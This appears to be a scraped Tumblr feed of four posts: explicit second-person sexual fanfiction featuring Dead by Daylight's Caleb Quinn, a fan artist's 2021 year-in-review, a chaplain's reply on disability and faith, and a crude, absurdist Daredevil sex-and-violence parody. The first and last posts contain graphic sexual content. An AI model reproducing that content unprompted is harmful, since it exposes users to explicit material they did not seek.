#this is like 12 pages on google docs good lord

[roswellwrites]

>posts for the first time in two years

>it's 5k words of the cowboy from dbd eating p*ssy

>refuses to elaborate

>leaves

Pairing: caleb quinn x reader

Tags: oral, fingering, some dirty talk. Relatively tame considering how overboard i went with this imo

Word count: 5052 but we don’t have to talk about it

When you opened your eyes to find yourself standing in the center of Glenvale’s dusty street, you huffed. 

You were used to it by now, the way the unsettlingly thick fog would seem to appear from nowhere, rolling unnaturally across the clearing as it picked and chose those who would be unfortunate this time.

You remembered holding your breath, your eyes squeezed shut and hands wringing anxiously on your lap, begging wordlessly for the Entity’s fog to pass you over.

And yet here you were.

Still, Glenvale was not the worst case scenario.

The old fort -while not exactly new territory in the Entity’s realm- was still relatively unfamiliar to you, unexplored, eerie and overgrown. 

The air was always strange here, imbued with an undercurrent of dark energy, thrumming heavy and electric as if alive with the misfortune that had befallen the small settlement.

You lazily kicked a pebble in your path, the action unsettling the dust in a way that felt dramatic, even by trial standards. 

You noticed your boots first, like nothing you owned in the real world but familiar to you in a way you couldn’t quite place. But it wasn’t just your shoes that were different. Some time between the campfire and the fog and arriving on the dusty streets of Glenvale, your outfit had changed completely.

The dress you wore was a new addition to your (very limited) wardrobe, short in the front and long in the back, layered but surprisingly light, contradictory to the material’s heavy appearance. The fabric itself was a deep maroon trimmed with black, matte with no hint of shine to it, unmistakably high quality though perhaps not quite authentic to the setting. The dress’s bodice was tight and low cut, flattering, you mused, if the eyeful of your own cleavage you got when you looked down was any indication.

You rubbed your gloved hands together idly, enjoying the smooth feel of the fabric and the small ‘swish swish’ of your fingers as they brushed against one another. 

Beyond that you wore stockings, the material closer to sheer than opaque, lacy bands fitting you snuggly slightly above your knee as they disappeared under the hem of your skirt.

Your boots had a small heel to them, laced tightly, the cuffs extending an inch or so above the natural curve of your ankle.

You clicked your heels together experimentally, more amused than anything else.

A saloon girl outfit.

Fitting.

You stopped in the dusty street, raising your eyes skyward in awe as you admired the beautiful swirling galaxies and twinkling stars, brighter and more defined than you had ever seen them before. You allowed yourself only a moment to enjoy the sight before hurrying along, side-eyeing a wayward buzzard as it screeched its displeasure from an overturned cart in the street.

You climbed the steps leading to the saloon’s main entrance, eager to get off the street and find somewhere a little less out in the open, your eyes scanning the establishment quickly as you crossed the threshold.

The inside of the old building was a scattering of overturned furniture, tables and chairs covered in a fine layer of dust and pockmarked by bullet holes.

You cast a cursory glance over the dead bodies, frozen permanently in the entity’s snapshot, no longer human bodies but now props to set a stage.

Your eyes lingered on the bar before passing over it quickly, knowing from experience that nothing of value would be found there. You had conducted a thorough investigation the first time you were here -a search for resources of course, nothing more- finding only shattered glass and a single unmarked bottle, the lone swig of alcohol inside burning your mouth in a way that had you tasting it for the rest of the trial no matter how many times you spit.

But off to one side rested the shining star of the old saloon, an old piano that had completely enthralled you the first time you saw it and every time since.

The instrument in question was the oldest piano you’d ever seen, exciting but not all that much of a surprise given the setting. You dragged the rickety chair from its place under the keybed and took a seat, ignoring the small screech of the chair legs on the old floor as you did so.

You spread your fingers over the keys, your touch feather-light, unbothered by the accumulated dust and grime on your pristine gloves as the piano banged out its own discordant tune.

There was the light creaking of worn floorboards behind you paired with the unmistakable sound of heavy footsteps as they approached. Boots, you parsed easily. Definitely boots.

You felt a flash of fear, the feeling lasting only a handful of seconds before you forced yourself to settle again. You took a moment to think of the other survivors that had entered the trial with you. Too loud to be Ace’s loafers, the wrong sound altogether to be Yui’s sandals.

Jeff then.

You straightened in your chair, casting an excited glance over your shoulder. “Jeff,” you beamed. “Check this out-“

“Not Jeff,” the tall man rasped behind you.

Your blood ran cold, all traces of your smile vanishing and eyes widening in dawning horror as your entire body went rigid with fear.

The gunslinger’s hand was on your shoulder suddenly, his grip punishing, and you spun, your heart leaping into your throat at the sight of the man towering over you. Your mouth dropped dumbly in surprise as you moved immediately to stand, to run maybe, a startled noise instead tearing itself from your throat as the cowboy shoved you backwards so hard that the old wooden chair groaned in protest.

You noticed his grin before anything else, crooked and unkind as he looked at you. His eyes were intense, sharp and predatory, alight with the thrill of having caught you off guard.

‘My heartbeat,’ your brain supplied unhelpfully, gloved hand flying to your chest as your heartbeat suddenly roared to life behind your ribs. “Why...” you trailed off, tongue darting out nervously to wet your bottom lip. “Why didn’t I hear-“

His grin widened, strange eyes dragging leisurely and without shame from your face to trail the length of your body. “Reckon you just weren’t listening, girlie.”

You followed his gaze, puzzled briefly.

You could instantly feel the blood rush to your cheeks, fear pushed aside and replaced with embarrassment to find that your skirt had ridden up when he shoved you backwards, the already short hem pushed back enough to reveal the tops of your lacy stockings and garters, decorated with small, intricate bows.

You shifted in your chair, moving instinctively to press your thighs together and smooth the fabric back into place before you stopped yourself, a piece of advice given to you by another survivor ringing clear as a bell in your ears.

“Try to catch them off guard."

‘Sure,’ you thought. ‘Why not?’

You inhaled deeply, taking a moment to compose yourself under the man’s sharp gaze, lashes fanning against your flushed cheeks as you closed your eyes. When you opened them again, you tilted your head slightly, allowing a strand of loose hair to slip free from behind your ear and teasingly brush the tops of your breasts. You shifted forward in your seat, pleased to note the obvious way that the gunslinger’s eyes drifted to your chest again. You spread your fingers over your collarbone, making a show of it as you arched your back to give the man a better view.

“Ain’t above fightin’ dirty, I see,” the tall man scoffed.

You ignored the comment in favor of action. You reached towards him, willing your hands to steady themselves as you hooked pseudo-confident fingers behind the man’s belt and tugged him playfully towards you. “Reckon we might have gotten off on the wrong foot, Mister,” you drawled, tongue darting out to wet your lips in a way that you hoped read more sultry than nervous.

There was a moment where the man simply looked at you, head tilting slightly as if mulling the phrase over. He seemed to come to his conclusion quickly enough, perhaps deciding that your sudden exaggerated southern drawl wasn’t meant to offend or that this wasn’t some kind of trap he was about to fall into.

“That so?” The man grinned. He stepped forward into your space obligingly, seeming to humor the invitation of closeness. His eyes still held that unsettling glint to them, too bright and too shiny. Unnatural. Inhuman.

Regardless, you were pleased when he dropped his gaze again, his strange eyes focusing on the slight rustle of your heavy skirt as you spread your thighs wider to accommodate him.

This was easy. This was something you could do.

You felt your heart rate spike again when he shifted his weapon in his hands, your shoddily crafted facade dangerously close to slipping as you fought the urge to flinch. You allowed your eyes to linger on the gun for only a moment before sliding your gaze instead to his face, forcing an air of casualness. “I bet if you put that gun down, we could find a better use for those hands of yours, cowboy.”

You knew the gunslinger could end this little game right now if he wanted, could pick you up and carry you to a hook and there would be nothing you could do about it. But the thought of escaping the situation (or the trial, for that matter) was no longer at the forefront of your mind, a concept that emboldened but -more importantly- thrilled you in a way you couldn’t quite articulate.

That’s all this entire scenario was; just one big trust fall.

The gunslinger made a small noise at the offer, over exaggerated as if mulling it over. “Hmmm…” he said, stretching the sound long enough that you had to tamp down your fear again. After a brief pause,  there was the dull sound of steel meeting wood as the man reached past you to prop his gun in the corner where the piano met the wall.

All at once the tension seemed to leave your chest, like a bubble that had burst behind your rib cage. You exhaled softly through your nose, breathing a silent sigh of relief as you cast your eyes upwards to see now that the large man’s expression truly had shifted from ‘firmly murderous’ to ‘more than slightly amused.’

With his hands now free, the gunslinger reached down to cup your jaw, calloused thumb passing idly over your lips as if inspecting you.

“My, you certainly are a pretty thing, aren’t ya,” he mused. “Never woulda guessed what with all the blood yer always covered in.”

Without the immediate threat of death looming over your head, you allowed your shoulders to loosen. You shifted forward in your seat, one hand sliding from his belt to linger now on his thigh. Time to really go for it. “Maybe we could work out some kind of...trade.”

“Oh?” He asked, smug. “And what could you possibly offer me that I couldn’t just take?”

“Been told I’m pretty good with my mouth,” you said matter of factly, purposely ignoring the second half of the question. You tilted your chin upwards slightly, both hands coming up now to catch the gunslinger’s hand as his thumb lingered by your mouth. You parted your lips slightly, taking the tip of the aforementioned digit into your mouth and closing your teeth playfully around it.

The taste that hit your tongue wasn’t as unpleasant as you thought it might be, all dust and faded tobacco and some sort of bitter machine oil. Certainly not a deterrent. “Just say the word, cowboy, and I’ll get on my knees and take you for one hell of a ride.”

The gunslinger said nothing at first, as if processing the information he was given. Finally after a moment he spoke.

“I’ll do you one better, girlie,” he grinned. He moved quickly then, giving you only a few seconds to process what was said before he was lifting you out of your chair, settling you with ease on the dusty piano top. “Won’t even have to get on your knees for it.”

You froze at the suddenness with which he moved you, reminiscent of a deer in headlights. You regained your bravado quickly however,  lifting one thigh and then the other as you freed your dress from where it had become trapped beneath you. “Is that so?” You asked.

He watched the movement of the fabric with hungry eyes, his calloused hands moving from their resting position at your waist downwards, trailing your hips before settling firmly on your closed thighs.

Your heart leapt into your throat as exploratory fingers dipped below your skirt to find the top of one stocking, hooking a finger beneath the garter and snapping it lightly against your thigh. You squirmed, your eyes glued helplessly on his long fingers as he began to push the fabric up and out of the way.

“Reckon you’ll have to pardon my eagerness,” the man said, though the crooked grin on his lips and the mischievous glint in his eyes told you he wasn’t as apologetic as he tried to appear. “Suppose if I was a gentleman I might be takin’ this a little slower,” he mused, meeting your eyes before continuing. “But it’s been a long time since I was a gentleman…and I’m in a mighty big hurry to get started.”

From here the gunslinger made quick work of your garter clasps, his deft fingers moving immediately upwards to catch the edge of your delicate ruffled bloomers.

You could feel yourself blushing heavily in anticipation, too warm, almost dizzying as the heat crept further into your chest and face.

The man paused, his predatory gaze finally straying from your lower half to meet your eyes. His lopsided smirk widened further as he seemed to catch sight of your frazzled expression. “You pick these out?” He asked teasingly, tugging playfully at the fabric.

You opened your mouth to speak, your long overheated brain struggling and failing to churn out a suitable answer. “No,” you said instead, decidedly less than intelligent.

He chuckled at this, seemingly amused as he worked the undergarments down your thighs and then over your boots with ease.

You inhaled sharply at the experimental prodding of his fingers at your entrance, the almost gentle way he pressed forward before withdrawing, spreading your growing slick in his wake.

The sounds of your wetness were already audible -embarrassingly so- even over your shaky breathing and the screech of the buzzards outside. You closed your eyes, attempting to ignore the lewdness of the sound but finding this only served to deepen your blush and make you wetter.

“This doin’ somethin’ for you, sweetheart?” The cowboy asked, entirely too self-satisfied for your liking. “Or are you just easily excited?”

You chose to remain silent, a futile attempt to preserve the small amount of dignity you had left.

When he placed his hand on your middle and guided you back gently, you took the hint, supporting your weight with your arms as you leaned backwards to give him better access. From here he bent forward to get a better look at you, large hands forcing your thighs wide, grunting in annoyance when the brim of his large hat bumped against your stomach.

“Damn hat,” he muttered, his tone edging on irritated as he all but snatched the offending accessory from his head and placed it swiftly on top of your own. “Hold this for me, would you?”

You reached up reflexively, grabbing the brim of the old hat and lifting it slightly where it had fallen into your eyes.

You jolted at the first touch of his lips, sudden and bold, cheeks flushed and eyes squeezing shut at the sensation of his harsh stubble on your delicate inner thighs.

“Christ,” you said, too caught off guard to say anything else.

“We’re just gettin’ started.”

His mouth was hot against you, impossibly wet, the movements of his tongue languid and unhurried, thorough as if he planned to explore every inch of you and thought himself to have all the time in the world. The gunslinger’s hands were fire where they met your skin, his calloused fingertips tracing the edges of your stockings with teasing almost feather-light touches.

You lost yourself in a sea of heat, nerve endings alight with pleasure as he really set to work. In the distance you heard a generator roar to life, so far away that you weren’t entirely sure you had heard it at all. How many was that now? Two? Three?

He flattened his tongue against you, the pressure suddenly merciless when combined with the chapped lips and the barest hint of the man’s teeth. You began to squirm, the noises now slipping freely from your lips before you could stop them. You reached for him, your shaking fingers grasping desperately at his coat collar to drag him in closer before you could think better of it.

The gunslinger shifted his weight from one leg and then the other, hooking his arms around your thighs and dragging you to the edge of the piano top and closer still to his mouth. He hooked one of your knees over his shoulder, grinning against your inner thigh as he found a new angle that seemed to please him.

You made a small noise when he pressed one of his long fingers inside of you unexpectedly, a whine slipping from between parted lips as he twisted the digit this way and that. Your hips jolted involuntarily, the action surprising you in its abruptness. Your roving hands flew from the uncomfortable hold on his collar to scrabble uselessly at whatever else you could find, settling eventually on the cowboy’s hat as it rested on your head.

You grabbed the brim with both hands, pulling it down to hide your embarrassment as the gunslinger worked you open with all the experience of a man who had done this many times.

“Now, now,” he chastised, one arm moving from where it curled around your thigh to reach up, pulling the hat from your hands easily and replacing it atop your head in its original position. He flicked the brim teasingly, knocking it upwards and away from your eyes. “No hidin’, girlie.”

You gasped when he added a second finger alongside the first, your body suddenly overwhelmed entirely by the sensation. You twisted in his hold, thighs quaking and toes curling in your boots as the man continued his onslaught.

He chuckled then, a deep rumbling sound that sent another wave of liquid fire to your lower abdomen.

“You’re a sweet little thing, ain’t ya? So warm and welcomin’ for me...squeezing my fingers like you ain’t got no desire to ever see me go,” he teased. His cheeks were flushed, obvious now where you weren’t entirely sure before, sun damaged face ruddy even beneath the thin layer of dirt that coated him. His breath was hot where it fanned against your inner thighs, something you were acutely aware of as he went on. “…and wetter than a goddamn thunderstorm already,” he continued with a grin, seeming to revel in your squirming. “You sure don’t disappoint, do ya?”

You could feel your face heat impossibly further under the scrutiny, shaking legs attempting and failing to squeeze shut subconsciously as the man’s words began to register in your delayed brain.

He gave another raspy laugh, as if amused by the halfhearted attempt.

“Aww, now don’t be like that, sweetheart,” he grinned, turning his head to deliver a playful nip to your inner thigh. You could feel his large hands on your trembling knees, spreading them to their previous positions and then a little beyond that, exposing you obscenely to his hungry gaze.

As he brought his mouth back to your heated flesh, you realized you had never felt like this before, so entirely overwhelmed and thoroughly devoured.

This was going to ruin you.

There was movement to your right, a flash of pink just beyond the window, and you shifted your eyes to it instinctively.

Ace’s eyes were unreadable behind his reflective lenses, his lips pressed into a tense line, more serious perhaps than you had ever seen him. He lifted his hand slowly, raising his thumb first in question before rotating his wrist nearly a full 180 degrees and giving the universal signal for thumbs down.

You blinked slowly in confusion, eyes moving from the man’s hand then to his face and then back again. You knew you were supposed to say something here, or maybe do something. Your thought process was slowed nearly to nothing as the cowboy fucked you mercilessly with his fingers and tongue.

You were surprised to hear the tall man speak suddenly, the sound all but snapping you from your trance as you continued to stare with unfocused eyes towards the newcomer.

“He’s askin’ if you’re alright,” the gunslinger said, finally dragging himself from your lower half as if that was the last thing he wanted to do. He sneered, shooting a scathing look towards the interruption, impatient in a way you knew would mean trouble for Ace later. “Reckon you should answer him so we can go about our business.” Here he paused, mischievous glint in his eyes as he tilted his head teasingly at you. “Unless yer lookin’ to give the man a show.”

You mulled this over for a moment, seconds stretching on, not so much entertaining the idea of giving Ace a front row seat to your escapade so much as trying to remember how to string together words to make a coherent thought. “Oh,” you said finally, licking idly at your lips. Right. “I’m…I’m good,” you called, your voice cracking under the strain.

“Just good, huh?” The gunslinger teased. His long, dexterous fingers crept back to their original positions on your flushed skin. “Thinkin’ we can do a little better than just good.”

In the time it took for you to realize what was about to happen, he was on you again, delving forward to press his tongue inside of you once more.

You arched in surprise, sitting completely upright now as opposed to your relaxed, blissed out posture from only a moment ago, your own fingers twitching restlessly against your thighs. You gasped softly, eyes darting towards Ace again to find that his expression had changed entirely, smirk curling his lips now where only concern had been before. He tipped his cap at you, head tilted in a small nod and his grin growing ever broader when you reached up reflexively to tip the cowboy’s hat in return.

And then as quickly as the gambler appeared, he was gone, your attention shifting immediately back to the gunslinger as he pressed his fingers inside you again. You reveled in the delicious stretch, the digits thick and pleasant as he scissored them within you. Your legs shook, twinging muscles threatening to cramp as the gunslinger held them in their current positions, stretched too wide for too long.

Your hand dove to grab the edge of the piano top when his tongue found your clit, circling it first before beginning to lick it, all teasing thrown out the window now as he set to work in earnest.

“Quite the gentleman droppin’ in to check on you,” the cowboy sneered between punishing licks. His eyes cut suddenly towards the window, as if scanning for the other man. He gave a pleased hum to see that the other man had moved along, the noise vibrating deliciously against your skin. “Was wonderin’ when he was gonna make himself known,” the gunslinger grinned. “Been standing there an awful long time just a’watchin’.”

“If it was anyone else, I’d probably have the common sense to be embarrassed,” you gasped, head tipped back now as you lost yourself in the rhythm of his long fingers as they rocked in and out. “Ace…” you continued, breath hitching as the gunslinger picked up his pace. “Ace is Ace.”

“Not a fan of that one,” the cowboy said offhandedly. “Beat me in cards once. He cheats.”

“He’s just lucky.”

“He cheats,” the man said again, firm, the tone brooking no argument. The bottom half of the cowboy’s face was shiny and wet, and you found yourself distracted by his tongue as it slid from between his chapped lips to run his tongue through it.

“Okay,” you said dumbly. “Okay.”

There was the abrupt sound of a generator being completed, a sudden blinding brightness that shone through the windows and had you squinting your eyes.

“Ah,” the gunslinger said. “Reckon that’s my cue to finish this up.”

You nearly arched off the piano top when he dove back in purposefully, all tongue and lips and fingers that plunged in and out, in and out. He pinned you easily as you squirmed, movements becoming increasingly more wild as he continued his merciless assault. You could feel the build up in your lower stomach, nerve endings alight as your body struggled to process the gunslinger’s ministrations.

When had you started panting?

“Maybe if you ask real sweet, I’ll - “

“Please,” you said immediately, the word falling from your lips before he could finish his thought. You weren’t above begging. You were so close now, teetering on the precipice, any bit of hesitancy you had before completely thrown out the window in the wake of your impending orgasm.

You began to plead in earnest, the same word spoken over and over again -please, please, please- so many times now that the word began to lose its meaning.

You were beyond incoherent, you knew, entirely incomprehensible as the cowboy worked you so thoroughly that you could swear you saw stars. “Please,” you begged, desperate in a way that would surely embarrass you later. “Please, please.”

The gunslinger said something in his gravelly voice, his tone distinctly pleased but overshadowed by your shameless begging. When his thumb met your clit, you gave a sharp inhale as you were pushed over the edge, less a gentle step into the unknown and more a runaway train careening off the tracks.

Despite the build up, you were entirely unprepared for the orgasm that tore through you. It was all encompassing, intense in a way that you had never experienced. Your entire body shuddered, knees and thighs quaking on either side of the gunslinger’s head, thoroughly overwhelmed. You whined when he continued to lick into you despite the overstimulation, his long fingers still pumping in and out even as you squirmed and twisted.

Then all at once the stimulation was gone and you could breathe again.

The gunslinger began to pull away from you, his voice barely muffled against your skin as he spoke once more. His voice was deep, husky and too low to hear over the blood that still rushed loudly in your own ears.

“What?” You asked, flushed chest still heaving as your head continued to clear. You felt like you were underwater, like you could see the cowboy’s mouth moving but couldn’t make your brain understand what was being said.

The gunslinger straightened, finally returning to his full height as he wiped the slick off his face with one dusty sleeve. He opened his mouth again, a sudden sickening ‘pop’  filling the air as he corrected his crooked jaw. He gave a soft grunt of pain, one hand coming up to cup his face in a way that indicated that this was not an unusual occurrence.

“Said my jaw is hurtin’ like a sonuvabitch,” he repeated, grimacing as he shifted his jaw from one side and then the other as if trying to keep it from becoming stiff again. “I’ll be damned if you didn’t make it worth my while, though.”

You didn’t know what to say to that, overtly aware of the awkwardness as it began to seep back into the situation without his hands and mouth to occupy you.

You made a small noise of surprise when he grabbed you around your waist suddenly, lifting you from the piano and setting you down as easily as he had lifted you in the first place. Your legs felt wobbly underneath you, unsteady, a feeling you tried to brush away as you smoothed your skirt back into a position you deemed acceptable.

The gunslinger watched the movement of your skirt with rapt attention, much in the same way he’d watched it earlier when you were trying to tempt him.

”Nothin’ left to do but leave,” the tall man said idly. That strange glint had returned to his eyes, any warmth fading as he reached behind you for his weapon. “Reckon you oughta head out as soon as those gates are open if you want to make it out in one piece.”

Uh oh.

“Go on now,” he grinned, all teeth, unkind and dangerous in a way that sent a chill down your spine. He stepped into your space, standing nearly two heads taller than you as he plucked his hat from your head. “Trust me when I say you don’t wanna test me.”

You yelped when he delivered a sudden sharp slap to your rear, the contact finally spurning you into action. You stumbled down the saloon stairs and back onto the dusty street, one arm coming up to block the too-bright light as your eyes struggled to adjust.

Behind you, the gunslinger laughed, raspy and low. “Find me in the fog any time, girlie.”

You shot one last glance over your shoulder as you hurried along, making your way quickly towards the nearest gate as it loomed heavy and industrial at the end of the street.

In the distance you heard a scream, ear piercing and guttural. You sucked in a breath, anxiously shifting from one foot to the other as if debating what to do, the cowboy’s words from earlier echoing suddenly in your head.

‘Reckon you oughta head out as soon as those gates are open if you want to make it out in one piece.’

In the distance another scream rang out, echoing across the prairie.

You didn’t stick around to hear a third.

[perfectlypanda]

2021 was not a good year for me. Possibly one of my worst ever actually. But among the better memories is how much fun I had making and sharing Zutara and AtLA art. I was just making things I had always wanted someone to make (like a scene where Katara actually talks about the EIP noncon kiss or an ending shot with the whole gaang looking at the sunset together), but it was a pleasant surprise to see how many other people also wanted those same things and liked what I was sharing. I still have a long way to go before my skill level is where I’d like it to be, and looking back at things I’ve made this year I see a lot of flaws, but I also see a lot of things I’m pretty proud of. 

So thank you. ♥ If you’ve ever said anything kind about anything I’ve posted, please know how much it means to me. And yes I do save nice comments/ hashtags/ etc. for rainy days (except instead of taking a photo it’s taking a screenshot and instead of a notebook it’s just a Google Doc). Thank you as well to all the Zutara artists and writers that share their work! I read an absurd amount of Zutara fanfic in 2021 and can’t wait to read more this year. Here’s to 2022!  ♥

(under the read more is my tumblr 2021 year in review, because it made this post really long, and also because I think this may be a time when something is more interesting to the person involved (me) then to anyone else).

I posted 892 times in 2021

113 posts created (13%)

779 posts reblogged (87%)

For every post I created, I reblogged 6.9 posts.

I added 826 tags in 2021

#zutara - 320 posts

#look i made a thing - 89 posts

#atla - 74 posts

#katara - 72 posts

#zuko/ katara - 64 posts

#zuko - 56 posts

#image manip - 48 posts

#zutara edit - 41 posts

#avatar - 32 posts

#avatar the last airbender - 30 posts

Longest Tag: 137 characters

#almost all media written for children and young adults is written by an adult so if there's romance in it... it's a ship an adult created

My Top Posts in 2021

#5

I’m sure it’s been done before, but I mentioned to a friend the idea of combining the “wake up sleepyhead” meme with Zutara, and we both thought it would be hilarious - so thanks for the encouragement A!

I've seen a lot of takes on the “over protective big brother” Sokka when he finds out about Zuko and Katara being romantically involved, but personally I don’t think that would be his reaction. I think he’d be a little shocked, possibly confused, but also thrilled. After all, Zuko is a good friend of theirs who proved he was committed to Katara even before they were in a romantic relationship (hello lightning), and like... if you think your sister deserves the best, you can’t do much better than scoring the Fire Lord. (Or alternatively, I could see it going kind of like that scene from Friends...)

♥ Please do not repost. If you like it and want to show people, share a link to this page instead. Thank you!

1428 notes • Posted 2021-06-08 03:09:12 GMT

#4

1872 notes • Posted 2021-03-20 02:10:14 GMT

#3

Katara: I think our little princess might be a firebender.

Zuko: Oh, why?

Katara: She has your eyes.

Zuko: That doesn’t necessarily mean Kya’s a firebender-

Katara: And she sneezed sparks this afternoon and lit the drapes on fire.

♥ Please do not repost. If you like it and want to show people, share a link to this page instead. Thank you!

2765 notes • Posted 2021-01-31 02:58:32 GMT

#2

AU where AtLA ended on a shot that captured the themes of friendship, found family, and the 4 nations coming together in peace... instead of a shoehorned kiss (and everyone wearing Earth Kingdom outfits..?).

I’ve been a diehard Zutara shipper since forever, but I maintain that the show should have ended without any canon ships except Sokka/ Suki. This “alternate ending” shot is one I’ve wanted to do basically since the finale first premiered, so I’m pleased to have finally drawn it (only 13 years late...).

♥ Please do not repost. If you like it and want to show people, share a link to this page instead. Thank you! | Background from AtLA, but otherwise it’s mine. That’s right folks we have progressed from manips to original art like a pokemon evolving.

5066 notes • Posted 2021-05-16 04:28:55 GMT

#1

7794 notes • Posted 2021-01-03 05:01:34 GMT

Get your Tumblr 2021 Year in Review →

[blessedarethebinarybreakers]

Someone told my friend, who has Crohn's disease, that sick and disabled people were "not made in the image of God" and "not fully human". He believed that disabled people should be exiled from their communities and left to die. Other Christians told her that she should pray to get better, or that her sickness was God's will. As an atheist, I believe that disabled people should get the evidence-based treatment and accomodations they need, and that they shouldn't be stigmatized. Thoughts?

cw ableism, violent ableism

I am outraged to hear what people have been telling your friend. My stomach is roiling just thinking about it. I’m so glad she’s got a friend like you to tell her otherwise. 

Sick and disabled people are made in God’s image; we are fully human; we are a vital and worthy part of our communities. 

All human beings deserve to exist and to have access to abundant life – it doesn’t matter whether we fit into what society considers “productive,” it doesn’t matter what support we need. 

I don’t know if this is annoying to share or if could be helpful for your friend, but when I was a chaplain this past fall i would do “rounds” in the hospital, basically just dropping in on as many patients as i could. one patient i stopped by to see turned out to be a guy with Crohn’s disease. 

he was super friendly, and he joked a lot. He called me “reverend,” which made me laugh – even after I told him I wasn’t ordained yet, he told me that if i one day would be, than he could call me reverend now! 

he said he didn’t understand why God would make him sick, and we delved into that a little bit. my job as a chaplain isn’t to feed patients my answers to their questions, but to help them discover what they believe. as we talked, what he came up with is that God could use his illness to show everyone that the ones we call “weak” have plenty to give the world. 

he proceeded to pull out his laptop and show me songs he’d composed in garage band. he’s published them and even does tours! but i can’t remember his name, so i’ve never been able to find his work again. it honestly wasn’t my cup of tea anyway, but i remember him telling me the album he was working on now would be called “God is a She.” (or something like that, i can’t remember exactly!) and would be about women who have inspired him throughout his life. i thought that was super cool and evidence of some deep theological wisdom in this man. 

so if your friend needs examples of people of faith who have Crohn’s disease, people who have Crohn’s and are living creative, happy lives – here’s one example of such a person. 

I’ve got some resources that you or your friend might find useful:

The first is non-religious-specific – a post about how we don’t need to be “useful” or “productive” to be beloved and important members of society; it’s got links to lots of articles about prehistoric people with disabilities!

I’ve written a paper that sums up the ideas of various disability theologians about how disabled people are a vital part of the Body of Christ and how it is urgent that we work to include them more fully in our churches 

For the people who tell her to pray for a cure!! I offer this quote!! 

For the statement that her illness is “God’s will,” I recommend my sermon on John 9, when Jesus’s disciples asked him “who sinned” for a man to be born blind. We find that disabilities and illnesses are not punishments; disabled people are not “lessons,” not objects for other people’s inspiration porn. These things just happen, and while it’s 100% valid for disabled persons to seek out and find meaning or value in their disability if they want, none are obligated to do so. God can work with anything that happens, good or bad, but that doesn’t mean God wills the messier or harder parts of disability (things like chronic pain and ableism). 

I’ve also preached on how Jesus rose from the dead with disabling wounds – that the Body of Christ is disabled. 

Here’s a story of a disabled woman who recognized that God had a special calling for her not in spite of but in many ways because of her disability. 

Finally, I actually just created a google doc for resources on disability for Christians!! Scroll to the last two pages for Christian-specific resources, including the books on disability that I used for the paper I linked earlier. 

You might also find useful stuff in my #disability theology tag. 

The God whom we encounter in the Bible – both the Hebrew Bible (Old Testament) and the Greek (New Testament) – is a God of the oppressed. A God who gives special love and attention to the people whom our societies shun to the margins. A God who promises to lift up the lowly and bring us all into abundant life. 

God is always, always at the margins. Disabled persons have been shoved to the margins in our communities – and therefore, God is with disabled persons. If we were to exile disabled persons from our communities, we would be exiling God. God would go with them. 

Sorry this got long, but I have a lot of feelings on this topic. I will close with this passage from 1 Corinthians 12:

“There are diversities of gifts, but the same Spirit; and diversities of vocations, but the same Lord; and there are diversities of workings, but the same God is working all in all. …For just as the body is one and has many members, but all the members of the body, being many, are one body, so also Christ. …And the eye cannot say to the hand, “I have no need of you”; nor again the head to the feet, “I have no need of you!” On the contrary, those parts of the body that seem to be weaker are indispensable. …And if one member suffers, all the members suffer with it; if a member is given honor, all the members rejoice together.”

The human race is one body, a body that needs each and every member. We are all interdependent, and that is a beautiful thing. 

I hope this helps, anon. Your friend has the right to love and accommodations, not hate and exclusion. And she is deeply loved by God. 

[flamebrain]

DUMMY THICK WARS

so. i wrote this on the bastard empire google doc at 12 am. read at your own risk

MATT MURDOCK CLAPS HIS CHEECKS.

good morning matt calls foggy from across the office. matt we have a guest. damn matt your ass cheeks. they’re so loud

Soft, what yonder bitch speaks? Asks matt

oh who is it matt says. i am blind did you know that i cant see

oh shit really says foggy. well matty, he's dummy thick, just like you.

peter parker strolled into the office, his asscheeks clapping from miles away. the second he laid eyes on matt murdock, he got a Fucking Dummy Thick Boner. he'd only ever seen one man dummy thick like th

Peter swings his dick in a circle

he sported a chubby immediately. at before - but eddie brock was getting BIS cheecks clapoed by venom, so peter couldn't clap them anymore. matts however. matts stupid thick cheeks filtered in the wind. hello matt murdock. peter parker said. i came here to sue mister eddieghew brockolo for infringing on my du elektra is lesbianbtw mmy thick rights.

you can't do that says matt

why not says peter with a tilt of his head. because matt says, then you would have to sue me, as foggy tells me i'm stupidc thick as well.

fine then. says peter. i will not sue on one conditions. what's that says matt? you let me clap those cheeks myself peter smiles very very sexily. matt immediatley shits and comes in his pants, but he gets another erection because he's matt murdock and nothing can stop him.

ok peter parker. matt says. i will allow you to clap

these cheeks but once.

foggy starts to cry. matty, he sobs, i wanna clap those cheeks. maybe i'm not as dummy thick as you, but i'm fairly stupid thick, and you wouldn't even know you're thick if it wasn't for me.

suck my dick and balls matt says and locks foggy out of his office.

now it is just peter and matt.

peter reaches for matts suit tie but matt swats im away. NO he says. i am a FREAKING catholic. being gay is a sin, you have to say no homo before you touch me or you're going to hell.

that ass is going to send me to hell anyways says peter but he says no homo anyways. matt whispers sensually in peters ear. i'm not gay...but i think those cheeks maybe are even bigger than mine. no homo.

they both then fuck for 7 days straight. foggy sits outside their office window and cries and eats spaghetti (formaggio!) from a red plastic cup. the office was out of plates. i'm so sorry foggy.

the eight day, foggy is passed out, and there's a knock on the door. matt stands up from his nonstop cheek clapping activities and opens it. it's kirsten!!! but she's- shes - shes DUMMY THICK AS WELL??? hello boys she says. you're looking rather flat. maybaps i can help with that. she pulls out two strapons and proceeds to peg matt and peter into tomorrow simultaneously. she is thicker than the both of them combined. karen page walks by and is immediatley disintegrated by their raw dummy thick power. foggy sobs over her ashes into his spaghetti. after two more days of fucking-kirsten passes out and dies in the process-, there is a tap on matts shoulder. aaaaaa he screams. then he hears it: a gunshot. peter screams. oh nooooooooo matt says, but it's too late. oh yesssssss frank castle says? standing above matt. he's ALSO dummy thick. i'm sorry red, but i had to do it to em. i had to kill him. Im the only one who's allowed to get that dummy thick ass. IM the only one allowed to be on your level of dummy thick here. fuck uou frank says matt. you can't kill people that's illegal. i just did. says frank. shit. you're right says matt. please let me eat your gun. not in a sexual way i just have been fucking peter for nine straight days and i haven't eatery: oh don't worry says frank. i have a better meal you can eat. what is it asks matt. frank grins like a sexey man. my ass. matt proceeds to bite franks ass. what the fuck red he yells. i told you i was hungry frank. frank slaps matt. you bitche. how could you do this. look at you. you're one bad day away from being me. he growls. matt is very angry. i'm angry! he yells, and pushes frank out a window. he stands there panting. he can smell the splattered corpse of dummy thick frank castle from below his office window. i didn't kill him matt says aloud. it was god. god made him die when he hit tjat pavement.

